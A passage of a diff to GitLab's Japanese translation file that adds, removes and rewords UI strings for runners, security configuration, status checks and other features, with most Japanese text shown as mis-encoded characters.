msgid "Runners|Install a runner"
msgstr ""
+msgid "Runners|Instance"
+msgstr ""
+
msgid "Runners|Last contact"
msgstr ""
@@ -29429,6 +29920,9 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|No recent contact from this runner; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Not available to run jobs"
msgstr ""
@@ -29441,12 +29935,18 @@ msgstr ""
msgid "Runners|Online"
msgstr ""
+msgid "Runners|Online Runners"
+msgstr ""
+
msgid "Runners|Paused"
msgstr ""
msgid "Runners|Platform"
msgstr ""
+msgid "Runners|Project"
+msgstr ""
+
msgid "Runners|Property Name"
msgstr ""
@@ -29480,6 +29980,9 @@ msgstr ""
msgid "Runners|Runner #%{runner_id}"
msgstr ""
+msgid "Runners|Runner ID"
+msgstr ""
+
msgid "Runners|Runner assigned to project."
msgstr ""
@@ -29489,6 +29992,9 @@ msgstr ""
msgid "Runners|Runner is online, last contact was %{runner_contact} ago"
msgstr ""
+msgid "Runners|Runner is online; last contact was %{timeAgo}"
+msgstr ""
+
msgid "Runners|Runner is paused, last contact was %{runner_contact} ago"
msgstr ""
@@ -29519,12 +30025,18 @@ msgstr ""
msgid "Runners|Something went wrong while fetching the tags suggestions"
msgstr ""
+msgid "Runners|Status"
+msgstr ""
+
msgid "Runners|Stop the runner from accepting new jobs."
msgstr ""
msgid "Runners|Tags"
msgstr ""
+msgid "Runners|This runner has never connected to this instance"
+msgstr ""
+
msgid "Runners|This runner is associated with one or more projects."
msgstr ""
@@ -29582,19 +30094,25 @@ msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
msgstr "共有ランナーパイプラインã®%{quotaLimit} ã®ã†ã¡%{quotaUsed} を使用ã—ã¾ã—ãŸã€‚"
-msgid "Runners|group"
+msgid "Runners|active"
msgstr ""
-msgid "Runners|instance"
+msgid "Runners|group"
msgstr ""
msgid "Runners|locked"
msgstr ""
-msgid "Runners|paused"
+msgid "Runners|not connected"
+msgstr ""
+
+msgid "Runners|offline"
+msgstr ""
+
+msgid "Runners|online"
msgstr ""
-msgid "Runners|project"
+msgid "Runners|paused"
msgstr ""
msgid "Runners|shared"
@@ -29675,21 +30193,6 @@ msgstr ""
msgid "SVG illustration"
msgstr ""
-msgid "SastEntryPoints|Add Security Testing"
-msgstr ""
-
-msgid "SastEntryPoints|Catch your security vulnerabilities ahead of time!"
-msgstr ""
-
-msgid "SastEntryPoints|GitLab can scan your code for security vulnerabilities. Static Application Security Testing (SAST) helps you worry less and build more."
-msgstr ""
-
-msgid "SastEntryPoints|How do I set up SAST?"
-msgstr ""
-
-msgid "SastEntryPoints|Learn more"
-msgstr ""
-
msgid "Satisfied"
msgstr ""
@@ -30055,6 +30558,9 @@ msgstr ""
msgid "Secure token that identifies an external storage request."
msgstr ""
+msgid "SecureCodeWarrior"
+msgstr ""
+
msgid "Security"
msgstr "セキュリティ"
@@ -30079,6 +30585,9 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "Security training with guide and learning pathways."
+msgstr ""
+
msgid "SecurityApprovals|A merge request approval is required when a security report contains a new vulnerability."
msgstr ""
@@ -30127,7 +30636,7 @@ msgstr "マージリクエストã®ä½œæˆä¸­ã«ã‚¨ãƒ©ãƒ¼ãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚
msgid "SecurityConfiguration|Available with Ultimate"
msgstr ""
-msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
+msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the merge request."
msgstr ""
msgid "SecurityConfiguration|Compliance"
@@ -30142,7 +30651,7 @@ msgstr ""
msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure with a merge request"
msgstr ""
msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
@@ -30154,8 +30663,8 @@ msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr "設定データをå–å¾—ã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ページを更新ã™ã‚‹ã‹ã€ã—ã°ã‚‰ãã—ã¦ã‹ã‚‰ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
-msgid "SecurityConfiguration|Create Merge Request"
-msgstr "マージリクエストを作æˆ"
+msgid "SecurityConfiguration|Create merge request"
+msgstr ""
msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
msgstr "ã‚ãªãŸã®è¦ä»¶ã«åˆã‚ã›ã¦ä¸€èˆ¬çš„㪠SAST 設定をカスタマイズã—ã¾ã™ã€‚ã“ã“ã§è¡Œã‚ã‚ŒãŸè¨­å®šå¤‰æ›´ã¯ã€GitLab ãŒæä¾›ã™ã‚‹è¨­å®šã‚’上書ãã—ã€æ›´æ–°ã‹ã‚‰é™¤å¤–ã•ã‚Œã¾ã™ã€‚ より高度ãªè¨­å®šã‚ªãƒ—ションã®è©³ç´°ã«ã¤ã„ã¦ã¯ã€ %{linkStart}GitLab SAST ドキュメント%{linkEnd} ã‚’å‚ç…§ã—ã¦ãã ã•ã„。"
@@ -30214,6 +30723,9 @@ msgstr ""
msgid "SecurityConfiguration|Security testing"
msgstr ""
+msgid "SecurityConfiguration|Security training"
+msgstr ""
+
msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
msgstr ""
@@ -30223,6 +30735,9 @@ msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability Management"
+msgstr ""
+
msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request"
msgstr ""
@@ -30247,6 +30762,12 @@ msgstr ""
msgid "SecurityOrchestration|An error occurred assigning your security policy project"
msgstr ""
+msgid "SecurityOrchestration|An error occurred unassigning your security policy project"
+msgstr ""
+
+msgid "SecurityOrchestration|Choose a project"
+msgstr ""
+
msgid "SecurityOrchestration|Description"
msgstr ""
@@ -30316,7 +30837,10 @@ msgstr ""
msgid "SecurityOrchestration|Scan execution policies can only be created by project owners."
msgstr ""
-msgid "SecurityOrchestration|Scan to be performed every %{cadence} on the %{branches}"
+msgid "SecurityOrchestration|Scan to be performed %{cadence}"
+msgstr ""
+
+msgid "SecurityOrchestration|Scan to be performed %{cadence} on the %{branches}"
msgstr ""
msgid "SecurityOrchestration|Scan to be performed on every pipeline on the %{branches}"
@@ -30325,6 +30849,9 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project was linked successfully"
msgstr ""
+msgid "SecurityOrchestration|Security policy project was unlinked successfully"
+msgstr ""
+
msgid "SecurityOrchestration|Select a project to store your security policies in. %{linkStart}More information.%{linkEnd}"
msgstr ""
@@ -30346,6 +30873,12 @@ msgstr ""
msgid "SecurityOrchestration|To widen your search, change filters above or select a different security policy project."
msgstr ""
+msgid "SecurityOrchestration|Unlink project"
+msgstr ""
+
+msgid "SecurityOrchestration|Unlinking a security project removes all policies stored in the linked security project. Save to confirm this action."
+msgstr ""
+
msgid "SecurityOrchestration|Update scan execution policies"
msgstr ""
@@ -30565,7 +31098,7 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
-msgid "SecurityReports|The Vulnerability Report shows the results of the lastest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
+msgid "SecurityReports|The Vulnerability Report shows the results of the latest successful pipeline on your project's default branch, as well as vulnerabilities from your latest container scan. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
@@ -30598,6 +31131,9 @@ msgstr ""
msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30736,6 +31272,9 @@ msgstr ""
msgid "Select assignee"
msgstr "担当者をé¸æŠž"
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr "ブランãƒã®é¸æŠž"
@@ -30940,9 +31479,6 @@ msgstr "Sentryイベント"
msgid "Sep"
msgstr "9月"
-msgid "Separate topics with commas."
-msgstr "トピックã¯ã‚³ãƒ³ãƒžã§åŒºåˆ‡ã‚Šã¾ã™ã€‚"
-
msgid "September"
msgstr "9月"
@@ -31042,7 +31578,16 @@ msgstr "リãƒã‚¸ãƒˆãƒªã«ã€å¯¾å¿œã™ã‚‹ %{startTag}serverless.yml%{endTag} フ
msgid "Service"
msgstr "サービス"
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31054,6 +31599,9 @@ msgstr ""
msgid "Service URL"
msgstr "サービス URL"
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31099,6 +31647,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31180,6 +31731,9 @@ msgstr "期日を %{due_date} ã«è¨­å®šã€‚"
msgid "Set the iteration to %{iteration_reference}."
msgstr "イテレーションを %{iteration_reference} ã«è¨­å®šã—ã¾ã—ãŸã€‚"
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31237,9 +31791,6 @@ msgstr "ウェイトを %{weight} ã«è¨­å®š"
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr "パスワードを設定"
-
msgid "SetStatusModal|Add status emoji"
msgstr "ステータス絵文字ã®è¿½åŠ "
@@ -31313,9 +31864,6 @@ msgid "Setting saved successfully"
msgid_plural "Settings saved successfully"
msgstr[0] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr "設定"
@@ -31382,6 +31930,27 @@ msgstr "使用済ã¿ã®ãƒ‘イプライン実行時間をリセットã™ã‚‹"
msgid "Sherlock Transactions"
msgstr "シャーロックトランザクション"
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31397,6 +31966,9 @@ msgstr ""
msgid "Show all activity"
msgstr "ã™ã¹ã¦ã®ã‚¢ã‚¯ãƒ†ã‚£ãƒ“ティを表示"
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31445,18 +32017,9 @@ msgstr "最新ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’表示"
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr "親ページを表示"
-
-msgid "Show parent subgroups"
-msgstr "親ã®ã‚µãƒ–グループを表示"
-
msgid "Show the Closed list"
msgstr ""
@@ -31819,6 +32382,12 @@ msgstr "エラーãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã—ã°ã‚‰ã経ã£ã¦ã‹ã‚‰ã‚‚ã†ä¸€åº¦
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr "%{issuableDisplayName} をロック状態ã«ã™ã‚‹ã®ã«å¤±æ•—ã—ã¾ã—ãŸ"
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -31903,9 +32472,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ç’°å¢ƒã‚’å–得中ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚ã‚‚ã†ä¸€åº¦ãŠè©¦ã—ãã ã•ã„。"
-msgid "Something went wrong while fetching the package."
-msgstr "パッケージをå–å¾—ã™ã‚‹éš›ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
-
msgid "Something went wrong while fetching the packages list."
msgstr "パッケージリストをå–å¾—ã™ã‚‹éš›ã«å•é¡ŒãŒç™ºç”Ÿã—ã¾ã—ãŸã€‚"
@@ -32182,9 +32748,6 @@ msgstr "ソース (ブランãƒã‹ã‚¿ã‚°)"
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32203,6 +32766,33 @@ msgstr "ソースã¯åˆ©ç”¨ã§ãã¾ã›ã‚“"
msgid "Source project cannot be found."
msgstr "ソースプロジェクトãŒè¦‹ã¤ã‹ã‚Šã¾ã›ã‚“。"
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr "Sourcegraph"
@@ -32356,9 +32946,6 @@ msgstr ""
msgid "Start a review"
msgstr "レビューã®é–‹å§‹"
-msgid "Start and due date"
-msgstr "開始日ã¨çµ‚了日"
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "グループをé¸æŠžã—ã¦ã€ãã®ã‚°ãƒ«ãƒ¼ãƒ—ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®èª¿æŸ»ã‚’開始ã—ã¾ã™ã€‚ãã‚Œã‹ã‚‰ãƒ—ロジェクトã€ãƒ©ãƒ™ãƒ«ã€ãƒžã‚¤ãƒ«ã‚¹ãƒˆãƒ¼ãƒ³ã€ã¨ä½œæˆè€…ã«ã‚ˆã‚‹ãƒ•ã‚£ãƒ«ã‚¿ãƒªãƒ³ã‚°ã«é€²ã‚“ã§ãã ã•ã„。"
@@ -32503,6 +33090,9 @@ msgstr "ステータス:"
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32524,7 +33114,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32533,6 +33123,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32554,6 +33147,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32569,6 +33168,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33552,10 +34154,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -33807,8 +34409,8 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
-msgstr "Elasticsearchã¸ã®æŽ¥ç¶šã«ä½¿ç”¨ã™ã‚‹URL。クラスタリングをサãƒãƒ¼ãƒˆã™ã‚‹ã«ã¯ã€ã‚³ãƒ³ãƒžåŒºåˆ‡ã‚Šãƒªã‚¹ãƒˆã‚’使用ã—ã¾ã™(例: http://localhost:9200, http://localhost:9201)。"
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
+msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr "外部èªè¨¼ã‚µãƒ¼ãƒ“スã¨ã®é€šä¿¡ã«ç›¸äº’ TLS ãŒå¿…è¦ãªå ´åˆã«ä½¿ç”¨ã™ã‚‹ X509 証明書。空白ã®ã¾ã¾ã«ã™ã‚‹ã¨ã€HTTPS 経由ã§ã‚¢ã‚¯ã‚»ã‚¹ã™ã‚‹ã¨ãã«ã‚µãƒ¼ãƒè¨¼æ˜Žæ›¸ã®æ¤œè¨¼ãŒè¡Œã‚ã‚Œã¾ã™ã€‚"
@@ -33843,7 +34445,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr "コãƒã‚¯ã‚·ãƒ§ãƒ³ã¯ %{timeout} ã§ã‚¿ã‚¤ãƒ ã‚¢ã‚¦ãƒˆã—ã¾ã™ã€‚タイムアウトã™ã‚‹ãƒªãƒã‚¸ãƒˆãƒªã§ã¯ã€clone/push を組ã¿åˆã‚ã›ã¦ä½¿ç”¨ã—ã¦ãã ã•ã„。"
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34048,9 +34653,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34183,9 +34785,6 @@ msgstr "スニペットã¯ãƒ—ロジェクトメンãƒãƒ¼ã ã‘ãŒè¦‹ã‚Œã¾ã™ã€‚
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr "指定ã—ãŸã‚¿ãƒ–ã¯ç„¡åŠ¹ã§ã™ã€‚別ã®ã‚¿ãƒ–ã‚’é¸æŠžã—ã¦ãã ã•ã„"
@@ -34240,6 +34839,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34336,9 +34938,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34351,9 +34950,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr "ãã®åå‰ã®ãƒªãƒã‚¸ãƒˆãƒªã¯ã™ã§ã«ãƒ‡ã‚£ã‚¹ã‚¯ä¸Šã«ã‚ã‚Šã¾ã™"
@@ -34729,6 +35325,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆ %{link_to_merge_request} ã®ä¸€éƒ¨ã§ã™ã€‚ã“ã®ã‚³ãƒ¡ãƒ³ãƒˆã¯ã€ãã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã®ã‚³ãƒ³ãƒ†ã‚­ã‚¹ãƒˆã§ä½œæˆã—ã¾ã™ã€‚"
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "ã“ã®ã‚³ãƒŸãƒƒãƒˆã¯ %{strong_open}検証済ã¿%{strong_close}ã®ç½²åã§ã‚µã‚¤ãƒ³ã•ã‚Œã¦ãŠã‚Šã€ã“ã®ã‚³ãƒŸãƒƒã‚¿ãƒ¼ã®ãƒ¡ãƒ¼ãƒ«ã¯åŒã˜ãƒ¦ãƒ¼ã‚¶ãƒ¼ã®ã‚‚ã®ã§ã‚ã‚‹ã“ã¨ãŒæ¤œè¨¼ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -34747,12 +35346,6 @@ msgstr "ã“ã®å†…容ã¯è¡¨ç¤ºã§ãã¾ã›ã‚“ã§ã—ãŸã€‚ç†ç”±ã¯ %{reason} ã§ã
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr "ã“ã®æ—¥ä»˜ã¯æœŸæ—¥ã‚ˆã‚Šå¾Œã§ã™ã€‚ãã®ãŸã‚ã“ã®ã‚¨ãƒ”ックをロードマップã«è¡¨ç¤ºã—ã¾ã›ã‚“。"
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr "ã“ã®æ—¥ä»˜ã¯é–‹å§‹æ—¥ã‚ˆã‚Šå‰ã§ã™ã€‚ãã®ãŸã‚ã“ã®ã‚¨ãƒ”ックをロードマップã«è¡¨ç¤ºã—ã¾ã›ã‚“。"
-
msgid "This device has already been registered with us."
msgstr "ã“ã®ãƒ‡ãƒã‚¤ã‚¹ã¯æ—¢ã«ç™»éŒ²ã•ã‚Œã¦ã„ã¾ã™ã€‚"
@@ -34801,6 +35394,12 @@ msgstr ""
msgid "This field is required."
msgstr "ã“ã®ãƒ•ã‚£ãƒ¼ãƒ«ãƒ‰ã¯å¿…é ˆã§ã™ã€‚"
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -34855,12 +35454,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
-msgstr "ã“ã‚Œã¯ã‚ãªãŸã®ã‚¢ã‚«ã‚¦ãƒ³ãƒˆã«é–¢ã‚ã‚‹é‡è¦ãªã‚¤ãƒ™ãƒ³ãƒˆã®ã‚»ã‚­ãƒ¥ãƒªãƒ†ã‚£ãƒ­ã‚°ã§ã™ã€‚"
+msgid "This is a security log of authentication events involving your account."
+msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -34870,6 +35472,9 @@ msgstr ""
msgid "This is your current session"
msgstr "ã“ã‚Œã¯ã‚ãªãŸã®ç¾åœ¨ã®ã‚»ãƒƒã‚·ãƒ§ãƒ³ã§ã™"
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35005,9 +35610,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr "ã“ã®ãƒžãƒ¼ã‚¸ãƒªã‚¯ã‚¨ã‚¹ãƒˆã¯ãƒ­ãƒƒã‚¯ã•ã‚Œã¦ã„ã¾ã™ã€‚"
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35050,6 +35652,9 @@ msgstr "ã“ã®ãƒ—ロジェクトã¯ã¾ã Wikiã®ãƒ›ãƒ¼ãƒ ãƒšãƒ¼ã‚¸ãŒã‚ã‚Šã¾ã
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr "ã“ã®ãƒ—ロジェクトã¯ã‚¢ãƒ¼ã‚«ã‚¤ãƒ–ã•ã‚Œã¦ãŠã‚Šã€ã‚³ãƒ¡ãƒ³ãƒˆã™ã‚‹ã“ã¨ã¯ã§ãã¾ã›ã‚“。"
@@ -35149,8 +35754,8 @@ msgstr "ã“ã®æ“作ã¯ã€ã“ã®ãƒ—ロジェクトã¨ãƒ•ã‚©ãƒ¼ã‚¯ãƒãƒƒãƒˆãƒ¯ãƒ¼
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
-msgstr "è„…å¨ç›£è¦–"
+msgid "Threat monitoring"
+msgstr ""
msgid "ThreatMonitoring|Alert Details"
msgstr ""
@@ -35691,6 +36296,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr "ã“ã®ãƒ—ロジェクトã®é‹ç”¨ä¸Šã®è©³ç´°ã‚’確èªã™ã‚‹ã«ã¯ã€ %{groupName} グループã®ã‚ªãƒ¼ãƒŠãƒ¼ã«é€£çµ¡ã‚’ã¨ã£ã¦ãƒ—ランをアップグレードã—ã¦ãã ã•ã„。ダッシュボードã‹ã‚‰ãƒ—ロジェクトを削除ã§ãã¾ã™ã€‚"
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr "Azureã€Oktaã€Oneloginã€Ping Identyã€ã¾ãŸã¯ã‚«ã‚¹ã‚¿ãƒ  SAML 2.0 プロãƒã‚¤ãƒ€ãƒ¼ãªã©ã® ID プロãƒã‚¤ãƒ€ãƒ¼ã‚’利用ã—ã¦ã€ã‚ãªãŸã®ã‚°ãƒ«ãƒ¼ãƒ—ã® SAML èªè¨¼ã‚’設定ã™ã‚‹ã«ã¯:"
@@ -35715,6 +36323,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -35820,11 +36431,11 @@ msgstr "明日"
msgid "Too many changes to show."
msgstr "変更ãŒå¤šã„ãŸã‚表示ã§ãã¾ã›ã‚“。"
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
-msgstr "有効ã«ãªã£ã¦ã„ã‚‹åå‰ç©ºé–“ãŒå¤šã™ãŽã¾ã™ã€‚コンソールã¾ãŸã¯APIを使用ã—ã¦ç®¡ç†ã™ã‚‹å¿…è¦ãŒã‚ã‚Šã¾ã™ã€‚"
+msgid "Too many namespaces enabled. Manage them through the console or the API."
+msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
